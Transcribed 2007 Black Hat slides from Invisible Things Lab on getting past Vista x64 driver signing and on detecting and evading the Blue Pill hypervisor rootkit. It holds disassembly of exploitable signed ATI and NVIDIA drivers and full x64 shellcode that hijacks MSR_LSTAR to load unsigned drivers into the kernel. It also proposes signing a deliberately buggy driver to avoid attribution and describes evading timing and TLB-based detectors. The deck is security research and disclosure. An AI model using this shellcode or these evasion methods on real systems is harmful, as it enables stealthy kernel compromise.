IsGameOver()
Anyone?

Joanna Rutkowska
Alexander Tereshkin

Invisible Things Lab

version 1.01
(minor spelling corrections 5/08/2007)
Disclaimer

This presentation provides outcomes of scientific researches and is provided for the educational use only during the Black Hat training and conference.
Invisible Things Lab

Focus on Operating System Security
- In contrast to application security and network security

Targeting 3 groups of customers
- Security Vendors – assessing their products, advising
- Corporate Customers (security consumers) – unbiased advice about which technology to deploy
- Law enforcement/forensic investigators – educating about current threats (e.g. stealth malware)

http://invisiblethingslab.com
Vista Kernel Protection

... and why it doesn't work...
“Digital signatures for kernel-mode software are an important way to ensure security on computer systems.”

“Windows Vista relies on digital signatures on kernel mode code to increase the safety and stability of the Microsoft Windows platform”

“Even users with administrator privileges cannot load unsigned kernel-mode code on x64-based systems.”

Quotes from the official Microsoft documentation:
Bypassing Kernel Protection

- The “pagefile” attack
- Exploiting a bug in a signed kernel component
- What if there were no buggy drivers?
The “pagefile” attack

- Did not rely on any implementation bug nor used any undocumented feature!
- Exploited a design problem with raw access to disk from usermode.
The “pagefile” fix

- Fixed in Vista RC2 (October 2006),
- MS changed the API and requires now that **volume is first locked** before opening it for raw access,
  - It’s not possible to lock a volume with open files objects,
  - Thus it is impossible to open a volume where the pagefile resides for raw sector access.
Vista, like any other general purpose OS, contains hundreds of kernel drivers!
Many of them are 3rd party drivers (e.g. graphics card)
Many of them are poorly written…
Example #1: ATI Catalyst Driver

; $ Example 1:

loc_121A0:  ; CODE XREF: RwMem+30↑j
    mov    rax, [rsp+38h+pAssociatedIrp]
    cmp    dword ptr [rax+8Dh], 1
    jnz    short loc_121C4
    mov    rax, [rsp+38h+pAssociatedIrp]
    movzx   edx, byte ptr [rax+9]  ; user-provided byte to write
    mov    rax, [rsp+38h+pAssociatedIrp]
    mov    rcx, [rax+1]           ; user-provided address to write to
    call   write_byte            ; write: dl -> [rcx]
    jmp    short loc_121FE

; $ Example 1:
SeValidateImageHeader()
ATI Driver’s Certificate

Certification path:
- VeriSign Class 3 Public Primary CA
- VeriSign Class 3 Code Signing 2004 CA
- ATI Technologies, Inc

Certificate status:
This certificate is OK.

Sigcheck v1.3
Copyright (C) 2004-2006 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\tmp\amd-hotstuff>sigcheck -i atdcm64a.sys

Signers:
ATI Technologies, Inc
VeriSign Class 3 Code Signing 2004 CA
Class 3 Public Primary Certification Authority

Signing date: 03:20 03/02/2007
Publisher: ATI Technologies Inc.
Description: ATI DSM Dynamic Driver
Product: ATI DSM Dynamic Driver
Version: 3.0.502.0
File version: 3.0.502.0 built by: WinDDK
Example #2: NVIDIA nTune Driver

```assembly
_wrmsr:
    mov    ecx, [r12+8]
    mov    [rsp+60h], ecx
    mov    edx, [r12+18h]
    mov    [rsp+58h], rdx
    mov    r8d, [r12+24h]
    mov    [rsp+68h], r8
    mov    eax, [r12+28h]
    mov    [rsp+70h], rax
    mov    eax, [r12+2Ch]
    mov    [rsp+78h], rax
    mov    rax, 100000000h
    imul   r8, rax
    mov    eax, 0FFFFFFFFh
    and    rdx, rax
    add    r8, rdx
    mov    [rsp+58h], r8
    mov    rdx, r8
    shr    rdx, 20h
    mov    eax, r8d
    wrmsr
```
NVIDIA Driver’s Certificate

```
C:\\tmp\amd-hotstuff>sigcheck -i nvoclock64.sys
Sigcheck v1.3
Copyright (C) 2004-2006 Mark Russinovich
Sysinternals - www.sysinternals.com
C:\\tmp\amd-hotstuff\nvoclock64.sys:
   Signers:
      NVIDIA Corporation
      VeriSign Class 3 Code Signing 2004 CA
      Class 3 Public Primary Certification Authority
      Signing date: 5/24 23.01.2007
      Publisher: NVIDIA Corp.
      Description: NVIDIA System Utility Driver
      Product: NVIDIA System Utility Driver
      Version: 5.05.25
      File version: 5.05.25
C:\\tmp\amd-hotstuff>
```
DriverLoaderShellcode PROC
mov r8, rcx
mov eax, g_LStarLowPart
mov edx, g_LStarHighPart
mov ecx, MSR_LSTAR
wrmsr
push r8 ; next rip for sysretq
push r11
push rsi
push rdi
swapgs
mov rdx, [g_SizeOfImage]
mov rsi, rdx
xor rcx, rcx ; NonPagedPool
call [g_ExAllocatePool]
or rax, rax
jz exit
push rax
mov rcx, [g_DriverImage]
xchg rcx, rsi
xchg rax, rdi
rep movsb
pop rdx ; driver imagebase in kernel
mov eax, dword ptr [rdx+3ch] ; NT headers
mov r8d, dword ptr [rax+rdx+28h]; AddressOfEntryPoint
add r8, rdx
xor rdx, rdx
call r8
exit:
pop rdi
pop rsi
pop r11 ; rflags to be set
pop rcx
swapgs
sysretq
DriverLoaderShellcode ENDP
DriverLoaderShellcode (Vista x64)

DriverLoaderShellcode PROC
    push  rcx
    push  r11
    mov   eax, g_LStarLowPart
    mov   edx, g_LStarHighPart
    mov   ecx, MSR_LSTAR
    wrmsr
    swapgs
    mov   rdx, 3000h
    xor   rcx, rcx
    ; NonPagedPool
    call  [g_ExAllocatePool]
    or    rax, rax
    jz    nostack
    mov   rbx, rsp
    lea   rsp, [rax+2000h]
    mov   rdx, [g_SizeOfImage]
    mov   rsi, rdx
    xor   rcx, rcx
    ; NonPagedPool
    call  [g_ExAllocatePool]
    or    rax, rax
    jz    exit
    push  rax
    mov   rcx, [g_DriverImage]
    xchg  rcx, rsi
    xchg  rax, rdi
    rep   movsb
    add   r8, rdx ; driver imagebase
    mov   eax, dword ptr [rdx+3ch]
    mov   r8d, dword ptr [rax+rdx+28h]; AddressOfEntryPoint
    add   r8, rdx
    xor   rdx, rdx
    call  r8
    exit:
    mov   rsp, rbx
    nostack:
    pop   r11
    pop   rcx
    swapgs
    sysretq
DriverLoaderShellcode ENDP
Exploitation considerations

- It does not matter whether the buggy driver is *popular*!
- It only matters that it is signed!
- Attacker can always bring the driver to the target machine, install it, and then exploit it.
- The point is:
Exploitation considerations cont.

- The buggy driver is signed, so Vista must allow to load it.
- The driver is certified by some 3rd party company, so there is no trace leading to the actual attacker
  - (i.e. the person who exploited the driver and executed her own malicious code)
- The driver vendor can not be held responsible for all the damage done by exploiting their driver
  - (e.g. DRM bypassing)
Now imagine a perfect world, where all 1\textsuperscript{st}, 2\textsuperscript{nd} and 3\textsuperscript{rd} party drivers for Vista were not buggy
- e.g. all ISVs have educated their developers and also deployed very good QA processes...

Let’s assume, for a while, that all drivers are not buggy...

Can we still get into Vista kernel?
Buggy Driver

- Why not just sign the malicious code (e.g. DRM bypassing code) with a valid certificate and load it straight away?
  - Vista would allow for that too!
  - But then the malicious driver would point straight to the attacker – legal problems guaranteed.

- Intentional malicious code
  vs.

- Code with unintentional implementation bugs
But nobody can charge us for creating and signing an “innocent” driver, which just “happens” to be somewhat buggy (e.g. a subtle buffer overflow somewhere).

We could then use this driver just as we used 3rd party buggy driver:
- exploit the bug → get into the kernel
- perform all the malicious actions we want
- this time it’s not our driver which behaves maliciously, but it’s the exploit (which is not signed with any certificate, of course)

There is no connection between the exploit and the buggy driver
- even though in this case it might have been coded by the same person!
Obtaining a certificate...

- Can be done in about 2 hours for some $250!
- The next slides show a process of obtaining an authenticode certificate from Global Sign...
Obtaining Vista kernel certificate...
In order to complete your order for a GlobalSign ObjectSign Certificate you need to fax/mail a copy of the printed order form (from Step 3 in the procedure) together with a proof of your companies legal status.
Printed order (must be faxed to CA)
Our Vista certificate :)

- This certificate is intended for the following purpose(s):
  - Protects e-mail messages
  - Ensures the identity of a remote computer
  - Ensures software came from software publisher
  - Protects software from alteration after publication
  - Allows data to be signed with the current time

- **Issued to:** Invisible Things Lab
- **Issued by:** GlobalSign ObjectSign CA
- **Valid from:** 25/06/2007 to 25/06/2008

You have a private key that corresponds to this certificate.

Certificate status:
This certificate is OK.
Buggy Drivers: Solution?

- Today we do not have tools to automatically analyze binary code for the presence of bugs
  - Binary Code Validation/Verification
- There are only some heuristics which produce too many false positives and also omit more subtle bugs
- There are some efforts for validation of C programs
  - e.g. ASTREE (http://www.astree.ens.fr/)
    - Still very limited – e.g. assumes no dynamic memory allocation in the input program
- Effective binary code verification is a very distant future
Drivers in ring 1 (address space shared among drivers)
- Not a good solution today (lack of IOMMU)

Drivers in usermode
- Drivers execute in their own address spaces in ring3
- Very good isolation of faulty/buggy drivers from the kernel

Examples:
- MINIX3, supports all drivers, but still without IOMMU
- Vista UMDF, supports only drivers for a small subset of devices (PDAs, USB sticks). Most drivers can not be written using UMDF though.
We believe it's not possible to implement effective kernel protection on General Purpose OSes based on a microkernel architecture.

- Establishing a 3rd party drivers verification authority might raise a bar, but will not solve a problem.
- Move on towards microkernel based architecture!
Virtualization Based Malware

... once we know how to get into kernel, let's try to subvert it...
Outline

- Intro – what is Blue Pill
- BP detection:
  - detecting virtualization mode
  - detecting virtualization malware explicitly
- Nested scenarios and implications
- Summary
Intro

A quick review about Blue Pill and how it works…
Hardware vs. Software virtualization

S/W based (x86)
- Requires ‘emulation’ of guest’s privileged code
  - can be implemented very efficiently: Binary Translation (BT)
- Does not allow full virtualization
  - sensitive unprivileged instructions (SxDT)
- Widely used today
  - VMWare, VirtualPC

H/W virtualization
- VT-x (Intel IA32)
- SVM/Pacifica (AMD64)
- Does not require guest’s priv code emulation
- Should allow for full virtualization of x86/x64 guests
- Still not popular in commercial VMMs
<table>
<thead>
<tr>
<th><strong>Full VMMs</strong></th>
<th><strong>“Thin hypervisors”</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Create full system abstraction and isolation for guest,</td>
<td>Transparently control the target machine</td>
</tr>
<tr>
<td>Emulation of I/O devices</td>
<td>Based on hardware virtualization (SVM, VT-x)</td>
</tr>
<tr>
<td>- Disks, network cards, graphics cards, BIOS…</td>
<td>Isolation not a goal!</td>
</tr>
<tr>
<td>- Trivial to detect,</td>
<td>- native I/O access</td>
</tr>
<tr>
<td>Usage:</td>
<td>- Shared address space with guest (sometimes)</td>
</tr>
<tr>
<td>- server virtualization,</td>
<td>- Very hard to detect</td>
</tr>
<tr>
<td>- malware analysis,</td>
<td>Usage:</td>
</tr>
<tr>
<td>- Development systems</td>
<td>- stealth malware,</td>
</tr>
<tr>
<td></td>
<td>- Anti-DRM</td>
</tr>
</tbody>
</table>
Original Blue Pill POC

- Original POC code developed for COSEINC by J.R.,
- Presented at Black Hat 2006 in Las Vegas by J.R.,
  - Also Dino Dai Zovi presented his Vitriol, which was similar
- COSEINC owns the code of the original Blue Pill,
- May 2007 – we designed the New Blue Pill from scratch and Alex wrote the code from scratch.
Blue Pill Idea

- Exploit AMD64 SVM extensions to move the operating system into the virtual machine (do it ‘on-the-fly’)
- Provide thin hypervisor to control the OS
- Hypervisor is responsible for controlling “interesting” events inside gust OS
SVM

- SVM is a set of instructions which can be used to implement Secure Virtual Machines on AMD64
- MSR EFER register: bit 12 (SVME) controls whether SVM mode is enabled or not
- EFER.SVME must be set to 1 before execution of any SVM instruction.

Reference:
### EFER

A diagram showing the EFER register with a pointer to the SVME bit indicating its function:

- **SVME** (Secure Virtual Machine Enable): Enables SVM

<table>
<thead>
<tr>
<th>Bits</th>
<th>Mnemonic</th>
<th>Description</th>
<th>R/W</th>
</tr>
</thead>
<tbody>
<tr>
<td>63-15</td>
<td>Reserved, MBZ</td>
<td>Reserved, Must be Zero</td>
<td>R/W</td>
</tr>
<tr>
<td>14</td>
<td>FFXSR</td>
<td>Fast FXSAVE/FXRSTOR</td>
<td>R/W</td>
</tr>
<tr>
<td>13</td>
<td>Reserved, MBZ</td>
<td>Reserved, Must be Zero</td>
<td>R/W</td>
</tr>
<tr>
<td>12</td>
<td>SVME</td>
<td>Secure Virtual Machine Enable</td>
<td>R/W</td>
</tr>
<tr>
<td>11</td>
<td>NXE</td>
<td>No-Execute Enable</td>
<td>R/W</td>
</tr>
<tr>
<td>10</td>
<td>LMA</td>
<td>Long Mode Active</td>
<td>R/W</td>
</tr>
<tr>
<td>9</td>
<td>Reserved, MBZ</td>
<td>Reserved, Must be Zero</td>
<td>R/W</td>
</tr>
<tr>
<td>8</td>
<td>LME</td>
<td>Long Mode Enable</td>
<td>R/W</td>
</tr>
<tr>
<td>7-1</td>
<td>Reserved, RAZ</td>
<td>Reserved, Read as Zero</td>
<td>R/W</td>
</tr>
<tr>
<td>0</td>
<td>SCE</td>
<td>System Call Extensions</td>
<td>R/W</td>
</tr>
</tbody>
</table>
Recently published (July 13th 2007) AMD manual added additional layer of security for enabling SVM mode:

```c
if (CPUID 8000_0001.ECX[SVM] == 0) return SVM_NOT_AVAIL;
if (VM_CR.SVMDIS == 0) return SVM_ALLOWED;
if (CPUID 8000_000A.EDX[SVM_LOCK]==0)
    return SVM_DISABLED_AT_BIOS_NOT_UNLOCKABLE;
// the user must change a BIOS setting to enable SVM
else return SVM_DISABLED_WITH_KEY;
// SVMLock may be unlockable; consult the BIOS or TPM to obtain the key.
```
Virtualization has legitimate purposes!
- It’s not only used by Blue Pill!

Disabling virtualization is not the right approach, as it cuts down useful functionality of the process
- e.g. you would not be able to run Virtual PC 2007 with h/w virtualization disabled...

In other words, that additional protection added to SVM doesn’t change much...
The heart of SVM: VMRUN instruction

HOST (Hypervisor)

Virtual Machine

instruction flow (outside Matrix)

Guest state and specification of what guest events are intercepted

VMCB

VMRUN

resume at the next instruction after VMRUN (exit code written to VMCB on exit)

guest has been intercepted

instruction flow inside guest

source: J. Rutkowska, Black Hat USA 2006, © Black Hat

© Invisible Things Lab, 2007
Blue Pill Idea (simplified)

CALL bluepill

Native Operating System

PROC bluepill

enable SVM

prepare VMCB

VMPRUN

check VMCB_exitcode

VMCB RIP

RET

Native Operating System continues to execute, but inside Virtual Machine this time...

source: J. Rutkowska, Black Hat USA 2006, © Black Hat

only during first call

RET from bluepill PROC, never reached in host mode, only executed once in guest mode

Blue Pill Hypervisor

© Invisible Things Lab, 2007
The main idea behind BP is that it installs itself on the fly.

Thus, **no modifications to BIOS, boot sector or system files are necessary**.

BP, by default, **does not survive system reboot**.

How to make BP persistent is out of the scope of this presentation.

- In many cases this is not needed, BTW.
BP does not virtualize hardware!

- BP and New BP are thin VMMs,
- They do not virtualize I/O devices!
  - If your 3D graphics card worked before BP installation,
  - It will still work with the same performance!
- Bluepilled systems see the very same hardware as they saw before BP installation – h/w fingerprinting can not be used to detect BP
Detection!

“Nothing is 100% undetectable” :)}
Detection

Detect the presence of VMM
(Virtual Machine Manager)

Detect Virtualization Based Malware
(explicitly)
Detecting Virtualization

…but not Blue Pill explicitly!
Detection

- Detect the presence of VMM (Virtual Machine Manager)
- Detect Virtualization Based Malware (explicitly)
Detecting virtualization mode

- Direct timing attacks (EFER access time profiling):
  - Using RDTSC and how this can be cheated,
  - Using external trusted time source,
  - Introducing Blue Chicken – an anti-timing technology!
- Exploiting CPU-specific behavior:
  - MOV SS
  - AMD Erratum #140
- Profiling CPU resource discrepancies
  - In depth case study: TLB profiling
  - Blue Chicken for the rescue again!
- Why this all is not a right approach?
Detecting Virtualization...

... using direct timing analysis
EFER Accesses interception

- SVME is normally turned off
  - Not always – see later
- Blue Pill needs to turn it on
- Blue Pill should cheat to the guest that it’s turned off
  - Unless the guest turned it on explicitly
- To do this BP must intercept MSR EFER access
**EFER access interception**

No VMM

VMM intercepting
EFER access

© Invisible Things Lab, 2007
EFER timing

- Clean
- Bluepilled (RDTSCP)
- Bluepilled (MSR10h)
Measuring Time

- CPU Tick Counter
  - RDTSC instruction
  - resolution: number of processor cycles (super high!)
  - very accurate, but trivial to cheat!
- HPET (and other local timers)
  - Might have a high resolution
  - But we can cheat them
    - e.g. interrupt interception
- Real Time Clock
  - I/O with RTC device
  - resolution: milliseconds (poor)
  - relatively easy to cheat (I/O interceptions)
- External clock
  - e.g. NTP protocol
  - resolution: 10 milliseconds (very poor)
  - can not be cheated using generic approach – only attacks against specific implementation
RDTSC cheating

- Theoretically we can use the VMCB.TSC_OFFSET functionality, but it doesn’t work in practice:
  - Guest/VMM transition time not constant (problem with choosing the accurate TSC_OFFSET),
  - Inconsistency between RDTSC/MSR10h.

- But we might use instruction tracing instead...
Anti-RDTSC – Instruction Tracing

```
If (Tracing > 0) {
    [Edx:Eax] = EmulatedCycles + LastTSC;
    TSC = [Edx:Eax];
}
LastTSC = TSC;
EmulatedCycles = 0;
Tracing = n;
```

```
Instr 1
```

```
EmulatedCycles += f(Instr1);
Tracing --;
```

```
Instr 2
```

```
EmulatedCycles += f(Instr2);
Tracing --;
```

```
Instr 3
```

```
...```

```
Instr m
```

```
EmulatedCycles += f(Instrm);
Tracing --;
```

```
Instr 1
```

```
If (Tracing > 0) {
    [Edx:Eax] = EmulatedCycles + LastTSC;
    TSC = [Edx:Eax];
}
LastTSC = TSC;
EmulatedCycles = 0;
Tracing = n;
```
Instruction tracing considerations

- One can argue that we cannot accurately calculate the number of cycles that the underlying processor will consume to execute given steam of instruction.
- Processors are very complex, they can execute many instructions in parallel,
  - So, the Latency Table is only an approximation.
- But the same applies to detector!
- If the detector could accurately calculate the expected number of cycles, then we could use the same algorithm!
- In practice we expect that detectors will be interested in having as few instructions between RDTSCs, as possible.
  - In practice we expect only one instruction there (e.g. RDMSR)
Many people suggest using external time source to measure the execution time of e.g. RDMSR EFER.

In order to notice a difference, we need to execute the measured instruction at least thousands of times.

Because external time sources have much lower accuracy, then RDTSC instruction.

t1 = GetTimeViaNTP();
for (i = 0; i < BIGNUM; i++) RdMsr (EFER);
t2 = GetTimeViaNTP();
if (t2 - t1 > tMax) printf ("Troubles!\n");
Avoiding detection with trusted time source

- Blue Pill can not generically intercept all possible external time sources,
  - e.g. NTP traffic might be encrypted
- However, we can avoid such detection in a very generic way…
The Chicken Strategy

source: Wikipedia.org
Blue Chicken technique

- If some intercepted instruction (e.g. RDMSR EFER) is being executed too often in some time slice…
- … then assume that somebody is trying to detect us using external time source…
- … in that case… escape!
- Escape into “hibernation mode” or “chicken mode” by temporarily uninstalling BP’s hypervisor
Challenges for Blue Chicken

- How to detect the timing attack?
- How to uninstall a hypervisor on the fly?
  - And move the OS from the VM back to the native machine and resume it?
- How to make sure that we can install again?
Detecting timing attacks

Shift register for remembering the times (TSCs) of intercepted events
Uninstalling on the fly

When BP decides to unload…

- It analyzes guest state on last #VMEXIT,
- Generates code that fills all guest registers with values saved in guest VMCB
- Clears SVME bit in EFER
- Executes this code
Setting up the Timebomb

- Currently we use KTIMER to call our DPC callback after some time
  - Some time could be e.g. a few tens of msecs
- Setting up a KTIMER/DPC is tricky
  - We need to do that from a h/v address space, but that must be set inside a guest address space
- We use a rampoline code to do that for us
“Blocking” Detector strategies

- Detector might intentionally execute a lot of intercepted instruction, in order to force BP to unload…
- Detector might repeat this behavior in a loop in the background in order to keep BP “unloaded” most of the time…
- … however this way the detector would consume significant amount of CPU time…
- In order to e.g. force BP to be inactive for e.g. 50% of time, the detector would have to execute it’s loop for about 50% of CPU time.
Another strategy for the detector is to immediately install itself as a hypervisor after generating intercepted instruction, which are assumed to cause BP to unload,

Problems:

- Detector must use the very same technique as BP uses to install itself on the fly as a hypervisor,
- Detector can not be sure that BP unloaded indeed (or that it hasn’t just loaded back),
- Detector might decide to stay “forever” or uninstall itself after some time…
- In case it decided to stay “forever” it blocks legitimate usages of SVM, e.g. Virtual PC
- Otherwise it engages in a race condition with BP
"Counter based detection"

- Presented by Edgar Barbosa in July 2007 at SyScan,
- Does not use any time source for time profiling,
- Instead uses another thread executing ‘counter loop’ to measure the actual time spent by another thread executing RDMSR EFER,
- This detection method requires a multi core processor.
“Counter based detection”

source: Edgar Barbosa, SyScan 2007
Defeating “Counter attacks”?

- Hmm... we don't have any good idea for this doing this without quasi-binary-translation... ?!
- We can't use the “chicken” strategy, because RDMSR EFER instruction can be on the edge of the page :(
- We can't intercept thread’s affinity assignments (via OS API), because a detector can simply create many threats (without explicitly asking the OS to bind them to a specific thread) and just chose 2 (or n) that just happened to be placed on different cores

- Thinking in progress.... ;)

© Invisible Things Lab, 2007
Detecting Virtualization...

... by measuring CPU resources discrepancies
Case study: TLB profiling

Several researchers suggested TLB profiling as a foolproof method for “Blue Pill detection”:
- Peter Ferrie, AVAR, December 2006,
- Tal Garfinkel at al., HotOS, May 2007,
- Keith Adams, Blog: “BluePill detection in two easy steps”
What is TLB?

VA ─────────────────────────── PA

<table>
<thead>
<tr>
<th>va</th>
<th>pa</th>
</tr>
</thead>
<tbody>
<tr>
<td>va</td>
<td>pa</td>
</tr>
<tr>
<td>va</td>
<td>pa</td>
</tr>
<tr>
<td>va</td>
<td>pa</td>
</tr>
<tr>
<td>va</td>
<td>pa</td>
</tr>
<tr>
<td>va</td>
<td>pa</td>
</tr>
<tr>
<td>va</td>
<td>pa</td>
</tr>
<tr>
<td>va</td>
<td>pa</td>
</tr>
</tbody>
</table>

Search Page Tables

CR3

TLB MISS

PA

© Invisible Things Lab, 2007
TLB Entry (fully associative)

VA

Virtual Page Number

Offset

TLB Entry

VPN (tag)

control bits

PFN

Page Protection

PA

Physical Frame Number

Offset
General Attack Idea

- Fill all TLB entries with some known mappings
- Generate #VMEXIT
  - VMM will destroy all/some TLB entries
- When guest resumed it checks how many TLB entries have been destroyed
  - if > 0 then we have VMM!
AMD’s TLB (family 15)

- Values reported by CPUID, Fn = 8000_0005
  - No of entries for 4k pages: 32 (L1)
  - No of entries for 2M pages: 8 (L1)
  - No of entries for 4k pages: 512 (L2)
TLB time profiling (naive way)

FreezeSystem();
for (i=0; i<32; i++) p[i] = alloc_4k_page();
FlushTlb(); FlushDataCache();

for (i=0; i<32; i++) {
    x = p[i][0];
    t1 = rdtsc(); x = p[i][0]; t2 = rdtsc();
    tacss1[i] = t2-t1;
}

RdMsr (EFER);                             // force #VMEXIT

// now check the TLB again
for (i=0; i<32; i++) {
    t1 = rdtsc(); x = p[i][0]; t2 = rdtsc();
    tacss2[i] = t2-t1;
}

UnfreezeSystem();
for (i=0; i<32; i++) if (tacss2[i]>tacss1[i]) {
    printf (“Hypervisor present!”);
    Call911(“We’re owned!”);
}
Naive TLB profiling

The graph shows the profiling data for two different cases, labeled as t1 and t2 (clean). The x-axis represents the different indices, ranging from 0 to 31, while the y-axis indicates the profiling values, ranging from 0 to 40. The bars for t1 and t2 (clean) are distinctly visible, allowing for a comparison of their performance metrics.
Naive TLB profiling (reversed 2nd loop)
Too simple?

- It will not work!
  - On clear system we will observe many $i$ for which:
    - $t_{accs2}[i] > t_{acss1}[i]$ (e.g. 3 - 5 but also 50 cycles more!)
  - Even if written in assembler, without function calls
- Reason: execution time of “$x=p[i]$” is a sum of:
  - $t_{Map}$: VA to PA translation (TLB L1 hit, TLB L2 hit, no hit),
  - $t_{Access}$: Data access (Cache L1 hit, Cache L2 hit, not hit)
- We want to measure only $t_{Map} \Rightarrow t_{Access}$ should be const.!

- Hey, but we did flush the cache, didn’t we? (WBINVD)
  - But data L1 cache is not fully associative!
L1 Data Cache

- AMD Family 15 (e.g. Athlons on AM2 Socket)
- Values reported by CPUID, Fn = 8000_0005
  - Data cache size: 64 KB
  - Cache associativity: 2-way
  - Cache line size: 64 bytes

This means that:

- # entries: \( \frac{64\text{KB}}{64\text{B}} = 1024 \)
- # sets: \( \frac{1024}{2} = 512 \)
- Index field width: \( \log_2 (512) = 9 \)
- Offset field width: \( \log_2 (64) = 6 \)
L1 Cache

- Even though the L1 cache has 1024 lines
- That doesn’t mean it can cache 1024 random accesses!
- In order to cache our 32 p[i][0]’s, we need to make sure there are no conflicts between them!
Cache: n-way associativity

Way 0

Set 0

TAG | DATA
TAG | DATA
TAG | DATA
TAG | DATA

Set 1

TAG | DATA
TAG | DATA
TAG | DATA
TAG | DATA

Set 2

TAG | DATA
TAG | DATA
TAG | DATA
TAG | DATA

Set m-1

TAG | DATA
TAG | DATA
TAG | DATA
TAG | DATA

Way 1

TAG | DATA
TAG | DATA
TAG | DATA
TAG | DATA

Way n-1

TAG | DATA
TAG | DATA
TAG | DATA
TAG | DATA

PA

Data Hit!
L1 Data Cache filling

Allowed, but the next access with index = 9 will cause a conflict.
Controlling the Index field

This can be easily controlled

So, we can control which set, in L1 cache, will be used for caching accesses to that VA

© Invisible Things Lab, 2007
TLB Profiling (L1 Cache collision avoidance)

One TLB entry used for accessing local variables

3 extra cycles – mapping was fetched from L2 TLB

Clean System
Bluepilled system?

One TLB entry used for accessing local variables

TLB entries used by the New Blue Pill

3 extra cycles – mappings were fetched from L2 TLB
Detecting Blue Pill?

- Why not all TLB entries are flushed during #VMEXIT?
  - Because SVM implements Tagged TLB (ASIDs)
- So we can detect the presence of a VMM using sophisticated TLB profiling!
  - Yes, this method is reliable!
- Maybe BP can intercept RDTSC and cheat about the time measurements...
  - See the tracing example before
- So, let's discuss another TLB profiling, not based on timing...
TLB profiling without stopwatch

- Proposed by Keith Adams (July 2007)
- Fill the TLB with some mappings,
- Then patch PTEs of the corresponding pages,
- Then attempt to read bytes from the page – if get bytes from the old ones that mean that mapping was cached

- Simple and elegant...
“Adams’ Pill”

PPN oldPhysPage, newPhysPage = Alloc...();

VA oldVirtAddr = MapSomewhere(oldPhysPage);
VA newVirtAddr = MapSomewhere(newPhysPage);

memset(oldVirtAddr, 0x11, PAGE_SIZE);
memset(newVirtAddr, 0x22, PAGE_SIZE);

PTE=base of hardware page table;
for (i = 0; i < BIGNUM; i++) {
    PTE[i] = MAKE_PTE(oldPhysPage); // map old page
    (void)*(volatile char*)(i * PAGE_SIZE); // bring it into the TLB
}

for (i = 0; i < BIGNUM; i++) {
    PTE[i] = MAKE_PTE(newPhysPage); // map old page
    if (*((volatile char*)(i * PAGE_SIZE)) == 0x22) {
        printf("apparent tlb size: \%d\n", i);
        break;
    }
}

Now translated into human-readable form ;)

```c
for (i = 0; i < N; i++) page[i] = Alloc4kPage();
page22 = Alloc4kPage();
for (i = 0; i < N; i++) memset (page[i], 0x11, PAGE_SIZE);
memset (page22, 0x22, PAGE_SIZE);
for (i = 0; i < N; i++) x = page[i][0]; // make sure we will the whole TLB
for (i = 0; i < N; i++) RemapPTEForPage (page[i], PhysAddr(page22));

RMDSR EFER  // force #VMEXIT

for (i = 0; i < N; i++) if (page[i][0] == 0x22) break; // no mapping in TLB?
if (i < N) printf ("VMM might be in the system!\n");
```
Adams’ Pill cont.

- Author suggested to repeat the 2nd loop after executing an instruction that causes #VMEXIT (RDMSR EFER).
- His thesis is that n1 > n2 on a bluepilled system, where
  - n1 – # of TLB entries found by the 1st run
  - n2 – # of TLB entries found in the 2nd run (after #VMEXIT)
- To make it effective, we need to guarantee that
  - n1 = MAX_TLB_ENTS (= 32 on AMD Athlon for 4k pages)
  - Otherwise we can not be sure that VMM didn’t use some other TLB entries, no colliding with those measured by us
Why Adams’ Pill doesn’t work?
Why Adams’ Pill doesn’t work?

- TLB L1 (4k) : 32 entries
- TLB L2 (4k) : 512 entries
- TLB total size (4k) : 32 + 512 = 544 entries
- In order to be effective, Adams’ pill needs to fill *all* those entries (to not leave any space for bluepill),
- ... but filling the whole L2 TLB is tricky
  - because it is only 4-way associative!
TLB L2 organization

Way 0

Set 0
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

Set 1
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

Set 2
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

Set 127
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

Way 1

Set 0
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

Set 1
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

Set 2
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

Set 127
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

Way 2

Set 0
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

Set 1
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

Set 2
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

Set 127
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

Way 3

Set 0
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

Set 1
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

Set 2
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

Set 127
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA
TAG  |  DATA

7 bits
12 bits
In order to fill the *whole* L2 TLB, we need to:

- We need to allocate 512 4k-pages at quasi-fixed virtual addresses – this is tricky!
- For every index \( i = 0..127 \),
- Generate 4 valid VA accesses with different tags

We should correct the above algorithm to take into account all accesses to variables and stack that we might use.
Improved Adams’ pill

- This can be done!
  - But is very tricky (e.g. page allocation at pre-fixed VAs)
- It’s just not that easy as it was originally presented
  - and is processor-family specific!

- But, yes, the improved version should detect the presence of a VMM on SVM!
Defeating Adams’ pill (sketch)

- We need to use Shadow Paging or Nested Paging (see later) to defeat this attack,
- We can then easily detect all attempts by the guest to patch any of its PTEs
  - we allow for that
- But if we discover that the guest patches a lot of PTEs (in our case 32 + 512), then we assume it’s a Adams’ Pill attack and we… uninstall for a moment (chicken again!)
